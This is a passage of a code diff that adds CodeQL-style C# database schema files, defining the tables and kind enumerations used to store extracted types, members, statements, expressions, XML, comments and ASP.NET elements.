not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event | @operator; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, params/array = 3, this = 4, in = 5, ref readonly = 6 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +@has_scoped_annotation = @local_scope_variable + +scoped_annotation( + int id: @has_scoped_annotation ref, + int kind: int ref // scoped ref = 1, scoped value = 2 + ); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int kind: int ref /* non-async = 1, async = 2 */); + +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @utf16_string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +| 130 = @with_expr +/* C# 11.0 */ +| 131 = @list_pattern_expr +| 132 = @slice_pattern_expr +| 133 = @urshift_expr +| 134 = @assign_urshift_expr +| 135 = @utf8_string_literal_expr +/* C# 12.0 */ +| 136 = @collection_expr +| 137 = @spread_element_expr +| 138 = @interpolated_string_insert_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@string_literal_expr = @utf16_string_literal_expr | @utf8_string_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr | @urshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +lambda_expr_return_type( + unique int id: @lambda_expr ref, + int type_id: @type_or_ref ref); + +/* Compiler generated */ + +compiler_generated(unique int id: @element ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); diff --git a/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/semmlecode.csharp.dbscheme b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/semmlecode.csharp.dbscheme new file mode 100644 index 00000000000..a2bda57dbc6 --- /dev/null +++ b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/semmlecode.csharp.dbscheme @@ -0,0 +1,1459 @@ +/* This is a dummy line to alter the dbscheme, so we can make a database upgrade + * without actually changing any of the dbscheme predicates. It contains a date + * to allow for such updates in the future as well. + * + * 2021-07-14 + * + * DO NOT remove this comment carelessly, since it can revert the dbscheme back to a + * previously seen state (matching a previously seen SHA), which would make the upgrade + * mechanism not work properly. + */ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +compilation_info( + int id : @compilation ref, + string info_key: string ref, + string info_value: string ref +) + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | f1.cs + * 3 | f2.cs + * 4 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile.rsp` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, + string entity : string ref, + int location: @location ref, + string stack_trace : string ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + +// Populated by the CSV extractor +externalData( + int id: @externalDataElement, + string path: string ref, + int column: int ref, + string value: string ref); + +sourceLocationPrefix( + string prefix: string ref); + +/* + * C# dbscheme + */ + +/** ELEMENTS **/ + +@element = @declaration | @stmt | @expr | @modifier | @attribute | @namespace_declaration + | @using_directive | @type_parameter_constraints | @externalDataElement + | @xmllocatable | @asp_element | @namespace | @preprocessor_directive; + +@declaration = @callable | @generic | @assignable | @namespace; + +@named_element = @namespace | @declaration; + +@declaration_with_accessors = @property | @indexer | @event; + +@assignable = @variable | @assignable_with_accessors | @event; + +@assignable_with_accessors = @property | @indexer; + +@attributable = @assembly | @field | @parameter | @operator | @method | @constructor + | @destructor | @callable_accessor | @value_or_ref_type | @declaration_with_accessors + | @local_function | @lambda_expr; + +/** LOCATIONS, ASEMMBLIES, MODULES, FILES and FOLDERS **/ + +@location = @location_default | @assembly; + +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +locations_mapped( + unique int id: @location_default ref, + int mapped_to: @location_default ref); + +@sourceline = @file | @callable | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref); + +assemblies( + unique int id: @assembly, + int file: @file ref, + string fullname: string ref, + string name: string ref, + string version: string ref); + +files( + unique int id: @file, + string name: string ref); + +folders( + unique int id: @folder, + string name: string ref); + +@container = @folder | @file ; + +containerparent( + int parent: @container ref, + unique int child: @container ref); + +file_extraction_mode( + unique int file: @file ref, + int mode: int ref + /* 0 = normal, 1 = standalone extractor */ + ); + +/** NAMESPACES **/ + +@type_container = @namespace | @type; + +namespaces( + unique int id: @namespace, + string name: string ref); + +namespace_declarations( + unique int id: @namespace_declaration, + int namespace_id: @namespace ref); + +namespace_declaration_location( + unique int id: @namespace_declaration ref, + int loc: @location ref); + +parent_namespace( + unique int child_id: @type_container ref, + int namespace_id: @namespace ref); + +@declaration_or_directive = @namespace_declaration | @type | @using_directive; + +parent_namespace_declaration( + int child_id: @declaration_or_directive ref, // cannot be unique because of partial classes + int namespace_id: @namespace_declaration ref); + +@using_directive = @using_namespace_directive | @using_static_directive; + +using_global( + unique int id: @using_directive ref +); + +using_namespace_directives( + unique int id: @using_namespace_directive, + int namespace_id: @namespace ref); + +using_static_directives( + unique int id: @using_static_directive, + int type_id: @type_or_ref ref); + +using_directive_location( + unique int id: @using_directive ref, + int loc: @location ref); + +@preprocessor_directive = @pragma_warning | @pragma_checksum | @directive_define | @directive_undefine | @directive_warning + | @directive_error | @directive_nullable | @directive_line | @directive_region | @directive_endregion | @directive_if + | @directive_elif | @directive_else | @directive_endif; + +@conditional_directive = @directive_if | @directive_elif; +@branch_directive = @directive_if | @directive_elif | @directive_else; + +directive_ifs( + unique int id: @directive_if, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref); /* 0: false, 1: true */ + +directive_elifs( + unique int id: @directive_elif, + int branchTaken: int ref, /* 0: false, 1: true */ + int conditionValue: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +directive_elses( + unique int id: @directive_else, + int branchTaken: int ref, /* 0: false, 1: true */ + int parent: @directive_if ref, + int index: int ref); + +#keyset[id, start] +directive_endifs( + unique int id: @directive_endif, + unique int start: @directive_if ref); + +directive_define_symbols( + unique int id: @define_symbol_expr ref, + string name: string ref); + +directive_regions( + unique int id: @directive_region, + string name: string ref); + +#keyset[id, start] +directive_endregions( + unique int id: @directive_endregion, + unique int start: @directive_region ref); + +directive_lines( + unique int id: @directive_line, + int kind: int ref); /* 0: default, 1: hidden, 2: numeric, 3: span */ + +directive_line_value( + unique int id: @directive_line ref, + int line: int ref); + +directive_line_file( + unique int id: @directive_line ref, + int file: @file ref); + +directive_line_offset( + unique int id: @directive_line ref, + int offset: int ref); + +directive_line_span( + unique int id: @directive_line ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref); + +directive_nullables( + unique int id: @directive_nullable, + int setting: int ref, /* 0: disable, 1: enable, 2: restore */ + int target: int ref); /* 0: none, 1: 